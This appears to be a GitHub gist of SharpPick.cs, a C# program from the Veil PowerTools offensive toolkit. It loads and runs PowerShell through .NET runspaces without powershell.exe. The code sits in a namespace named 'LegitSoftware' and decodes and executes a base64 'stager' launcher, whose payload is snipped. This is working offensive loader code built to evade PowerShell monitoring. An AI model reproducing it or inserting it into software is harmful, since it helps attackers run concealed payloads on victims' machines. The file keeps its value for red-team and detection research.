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@leesoh
Forked from bneg/SharpPick.cs
Created October 5, 2018 23:03
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/*
* SharpPick aka InexorablePoSH
* Description: Application to load and run powershell code via the .NET assemblies
* License: 3-Clause BSD License. See Veil PowerTools Project
*
* This application is part of Veil PowerTools, a collection of offensive PowerShell
* capabilities. Hope they help!
*
* This is part of a sub-repo of PowerPick, a toolkit used to run PowerShell code without the use of Powershell.exe
*/
using System;
using System.Text;
//Adding libraries for powershell stuff
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace LegitSoftware
{
class Program
{
static string RunPS(string cmd)
{
//Init stuff
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
//Add commands
pipeline.Commands.AddScript(cmd);
//Prep PS for string output and invoke
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
runspace.Close();
//Convert records to strings
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
static void Main()
{
// Base64 encoded launcher goes into the 'stager' variable
string stager = "WwBSAEUARgBdAC4AQQBTA...[SNIP]";
var decodedScript = Encoding.Unicode.GetString(Convert.FromBase64String(stager));
string results = RunPS(decodedScript);
}
}
}
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